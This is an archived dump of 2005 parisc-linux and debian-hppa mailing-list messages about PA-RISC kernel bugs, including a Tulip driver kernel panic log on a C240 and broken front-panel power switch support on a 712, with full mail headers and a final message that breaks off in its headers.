Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and Linux 2.6.x
Date: Mon, 3 Jan 2005 19:13:34 +0100
Lines: 164
Approved: news@gmane.org
Message-ID: <20050103181334.GB21212__9420.47079229287$1416624525$gmane$org@nilpferd.asyl>
References: <20041230231420.GA15674@nilpferd.asyl>
	<41D553CB.6070802@tiscali.be>
	<20041231174649.GA21212@nilpferd.asyl>
	<20041231212330.GB23592@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1065558582=="
X-Trace: ger.gmane.org 1416624525 26608 80.91.229.3 (22 Nov 2014 02:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:45 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:49 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 18:17:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 03 Jan 2005 19:17:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E8883BE66; Mon,  3 Jan 2005 11:16:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18323-07; Mon, 3 Jan 2005 11:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A76B93BE62; Mon,  3 Jan 2005 11:15:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2F573BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 11:15:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18309-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jan 2005 11:15:48 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AA69A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 11:15:47 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 606F6495695; Mon,  3 Jan 2005 11:15:47 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by palinux.hppa (Postfix) with SMTP id BB0CF495617
	for <parisc-linux@parisc-linux.org>;
	Mon,  3 Jan 2005 11:15:46 -0700 (MST)
Original-Received: (qmail invoked by alias); 03 Jan 2005 18:15:43 -0000
Original-Received: from unknown (EHLO nilpferd.asyl) (217.16.121.147)
	by mail.gmx.net (mp012) with SMTP; 03 Jan 2005 19:15:43 +0100
X-Authenticated: #2150894
Original-Received: by nilpferd.asyl (Postfix, from userid 500)
	id CAFFF1A115; Mon,  3 Jan 2005 19:13:34 +0100 (CET)
In-Reply-To: <20041231212330.GB23592@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25072


--===============1065558582==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WYTEVAkct0FjGQmd"
Content-Disposition: inline


--WYTEVAkct0FjGQmd
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Dec 31, 2004 at 02:23:30PM -0700, Grant Grundler wrote:
> Yes, STI should continue to work with 2.6.x kernels.
> This sounds like a bug.

I fetched palinux-b180-defconfig-2.6.10-pa2_0-2_all.deb from
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/b180_defconfig/
and build a nice vmlinux-2.6.10-pa2.

This gives me nice console output on booting, so there is definitely
something wrong with Debian's kernel-image-2.6.8-1-32.

Howver, now comes the bad news.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Command line for kernel: 'root=3D/dev/sda2 HOME=3D/ max_loop=3D64 console=
=3DttyS0 TERM=3Dvt102 palo_kernel=3D2/boot/vmlinux'
Selected kernel: /boot/vmlinux from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 1
Segment 0 load 00100000 size 3514501 mediaptr 0x1000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

CPU'
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
Setting cache flush threshold to 40 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino [8/0] version 3.1 found at 0xf2000000
Cujo version 2.0 found at 0xf1000000
SCSI subsystem initialized
unwind_init: start =3D 0x1034aea0, end =3D 0x1036ed70, entries =3D 9197
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)
    id 2fc1066b-9a02587, conforms to spec rev. 8.09
    graphics card name: HPA4554A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
stifb: 'HPA4554A' (id: 0x2fc1066b) not supported.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 69 @ 8:16:7
serio: GSC PS/2 mouse port at 0xffd08100 irq 69 @ 8:16:8
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq =3D 90) is a 16550A
ttyS1 at MMIO 0xf2003800 (irq =3D 106) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
loop: loaded (max 64 devices)
PPP generic driver version 2.4.2
Linux Tulip driver version 1.1.13 (May 11, 2002)
Backtrace:
 [<10202ea4>] pci_device_probe_static+0x60/0x78
 [<10202ed8>] __pci_device_probe+0x1c/0x34
 [<10202f1c>] pci_device_probe+0x2c/0x58
 [<1023dbe0>] driver_probe_device+0x48/0x90
 [<1023dd5c>] driver_attach+0x80/0xa8
 [<1023e2e0>] bus_add_driver+0xb8/0xe0
 [<1023e878>] driver_register+0x44/0x50
 [<102031f8>] pci_register_driver+0x54/0x60
 [<103d189c>] do_initcalls+0x8c/0x138
 [<10103760>] init+0x38/0x104
 [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=3D26 regs=3D11474480 (Addr=3D00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10460010 103eb100 0000000c
r04-07  103915cc 10391590 ffffffed 11750000
r08-11  11462800 00000003 10313800 11750220
r12-15  10332800 10391810 80000080 11462848
r16-19  f000167c 00000060 f00001f0 00000000
r20-23  00000030 0000000e f2000000 00000020
r24-27  11750230 00000a00 11462848 1036f010
r28-31  00000000 11474488 11474480 1020119c
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 103eb120 103eb124
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
 CPU:        0   CR30: 11474000 CR31: 103c8000
 ORIG_R28: 1048a1a0
 IAOQ[0]: tulip_init_one+0x23c/0xdc0
 IAOQ[1]: tulip_init_one+0x240/0xdc0
 RP(r2): tulip_init_one+0x21c/0xdc0
Kernel panic - not syncing: Kernel Fault
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

2.4.27-pa4 runs fine with the Tulip NIC.

$ grep -i tulip /var/log/dmesg=20
Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:EA:C8:DE, IRQ 96.

$ /usr/bin/lspci
0000:00:13.0 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev=
 04)
0000:00:14.0 Ethernet controller: Digital Equipment Corporation DECchip 211=
42/43 (rev 30)
0000:01:04.0 Display controller: Hewlett-Packard Company Visualize FX4 (rev=
 02)

Alright. Where is the right place to send this?=20

--=20
This ain't no sig.

--WYTEVAkct0FjGQmd
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQCVAwUBQdmLTYatRCO2qiMiAQIuEwP/YwEVMcCpeThydyuWNeWnAGCwbWVGUiwT
/btK25KMArB/gC+tzV/41I4FsIlqmJSUUs61P+EyK2U7ZDXLb8UBmCkQolyqB7jK
yy6skTWgnkUpnQGP6MYPLZntIy7p0R9ULuLjEdTdUZDD3mcBBwBHm7A/OHZoiLeX
Bz0F4B6zN4c=
=PSuz
-----END PGP SIGNATURE-----

--WYTEVAkct0FjGQmd--

--===============1065558582==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1065558582==--



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-X3B1VOXEql0@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: front-panel LED and switch support broken (was: 2.6.10-pa1
 compile fails)
Date: Mon, 3 Jan 2005 11:42:37 +0200 (EET)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0501031142060.31807-100000__30749.838500242$1416624525$gmane$org@hal.pp.fishpool.fi>
References: <20050103031907.GM18080@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416624525 26615 80.91.229.3 (22 Nov 2014 02:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:45 +0000 (UTC)
Cc: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org,
 parisc-linux-6jwH94ZQLHl74goWV3ctuw@public.gmane.org
To: Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>
Original-X-From: - Wed Jul 02 21:27:55 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller-Mmb7MZpHnFY@public.gmane.org
Original-Received: (qmail invoked by alias); 03 Jan 2005 09:43:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx027) with SMTP; 03 Jan 2005 10:43:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 2E0F32E6F4; Mon,  3 Jan 2005 03:43:11 -0600 (CST)
Old-Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Original-To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (hal.fishpool.fi [213.157.66.81])
	by murphy.debian.org (Postfix) with ESMTP id 13B642E6EB
	for <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>; Mon,  3 Jan 2005 03:43:05 -0600 (CST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1ClOjV-0008Iz-00; Mon, 03 Jan 2005 11:42:37 +0200
In-Reply-To: <20050103031907.GM18080-+pPCBgu9SkPzIGdyhVEDUDl5KyyQGfY2kSSpQ9I8OhVaa/9Udqfwiw@public.gmane.org>
X-Archive: encrypt
Original-Sender: Martin-Eric Racine <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-4.4 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <4i8IoD.A.WHF.vOR2BB@murphy>
Resent-From: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
X-Mailing-List: <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org> archive/latest/4109
X-Loop: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
List-Help: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Resent-Date: Mon,  3 Jan 2005 03:43:11 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25073

On Mon, 3 Jan 2005, Matthew Wilcox wrote:

> On Thu, Dec 30, 2004 at 04:40:38PM +0200, Martin-=C9ric Racine wrote:
> > On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:
> >=20
> > > On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:
> > > However, support for the front-panel LEDs and switches is BROKEN in 2=
=2E6.10-pa1:
> > > when I press the power switch, it kills the AC power instead of sendi=
ng a signal
> > > to the kernel to shut itself down.  OUCH!  The power/status LED is al=
so off.
> >=20
> > This is still broken in 2.6.10-pa2 as well.
>=20
> On which machine?  It works fine on my 725 and c3600.

712.

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.iki.fi/q-funk/



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and Linux 2.6.x
Date: Mon, 3 Jan 2005 13:22:14 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20050103202214.GC3277@colo.lackof.org>
References: <20041230231420.GA15674@nilpferd.asyl>
	<41D553CB.6070802@tiscali.be>
	<20041231174649.GA21212@nilpferd.asyl>
	<20041231212330.GB23592@colo.lackof.org>
	<20050103181334.GB21212@nilpferd.asyl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624525 26623 80.91.229.3 (22 Nov 2014 02:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Bartolich <alexander.bartolich@gmx.at>
Original-X-From: - Wed Jul 02 21:28:09 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 20:23:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 03 Jan 2005 21:23:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 419EB3BE5A; Mon,  3 Jan 2005 13:23:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19663-05; Mon, 3 Jan 2005 13:23:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A44A43BE5D; Mon,  3 Jan 2005 13:22:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 200B13BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 13:22:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19663-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jan 2005 13:22:18 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 21CBF3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 13:22:18 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8B9E6495695; Mon,  3 Jan 2005 13:22:17 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 4C801495617
	for <parisc-linux@parisc-linux.org>;
	Mon,  3 Jan 2005 13:22:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2CD0929803C;
	Mon,  3 Jan 2005 13:22:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07251-04; Mon, 3 Jan 2005 13:22:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F23E129803A; Mon,  3 Jan 2005 13:22:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050103181334.GB21212@nilpferd.asyl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25074

On Mon, Jan 03, 2005 at 07:13:34PM +0100, Alexander Bartolich wrote:
> This gives me nice console output on booting, so there is definitely
> something wrong with Debian's kernel-image-2.6.8-1-32.

Good.

> Howver, now comes the bad news.

Thanks for capturing and sending the console log.

...
> Linux Tulip driver version 1.1.13 (May 11, 2002)
> Backtrace:

[ hrm...IOAQ is missing from the backtrace ... maybe that's intentional ]

>  [<10202ea4>] pci_device_probe_static+0x60/0x78
>  [<10202ed8>] __pci_device_probe+0x1c/0x34
>  [<10202f1c>] pci_device_probe+0x2c/0x58
>  [<1023dbe0>] driver_probe_device+0x48/0x90
...
> Kernel Fault: Code=26 regs=11474480 (Addr=00000004)

I don't see this with -pa2 or -pa3 on a500 or j6000.
Likely some problem with dino or ccio support.

>  IAOQ[0]: tulip_init_one+0x23c/0xdc0
>  IAOQ[1]: tulip_init_one+0x240/0xdc0
>  RP(r2): tulip_init_one+0x21c/0xdc0

Just have to figure out where in tulip_init_one() +0x240 is pointing.
I'll try to track this down after plowing through the
back-from-2-weeks-off email backlog.

> Alright. Where is the right place to send this? 

Normally just to parisc-linux@lists.p-l.o mailing list.
I've dropped debian-hppa since the bits aren't in debian (yet).

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.10-pa1 compile fails
Date: Tue, 4 Jan 2005 00:42:52 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20050104004252.GP18080__22249.2226552733$1416624526$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20050103234545.GE3277@colo.lackof.org> <Pine.LNX.4.21.0501040235360.2622-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624526 26628 80.91.229.3 (22 Nov 2014 02:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:46 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@iki.fi>
Original-X-From: - Wed Jul 02 21:28:09 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 01:00:41 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx047) with SMTP; 04 Jan 2005 02:00:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id DC8B42E05B; Mon,  3 Jan 2005 19:00:25 -0600 (CST)
Old-Return-Path: <willy@www.linux.org.uk>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by murphy.debian.org (Postfix) with ESMTP id EEE6A2DFA5
	for <debian-hppa@lists.debian.org>; Mon,  3 Jan 2005 18:42:53 -0600 (CST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Clcmi-0004np-Jd; Tue, 04 Jan 2005 00:42:52 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0501040235360.2622-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-Rc-Spam: 2004-08-29_01
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <qzpGgD.A.8g.pqe2BB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4114
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  3 Jan 2005 19:00:25 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25075

On Tue, Jan 04, 2005 at 02:37:29AM +0200, Martin-ric Racine wrote:
> Silly question but well:  
> 
> Would this source file shuffling perhaps also require massaging the dependencies
> in the kernel configuration scripts?

The Linux build system has "always" (at least as far back as 2.0 anyway)
automatically generated dependencies for each file, it's not like, eg gdb.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 3 Jan 2005 22:01:42 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20050104060142.GC18497@tausq.org>
References: <200412260504.40205.vapier@gentoo.org>
	<20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
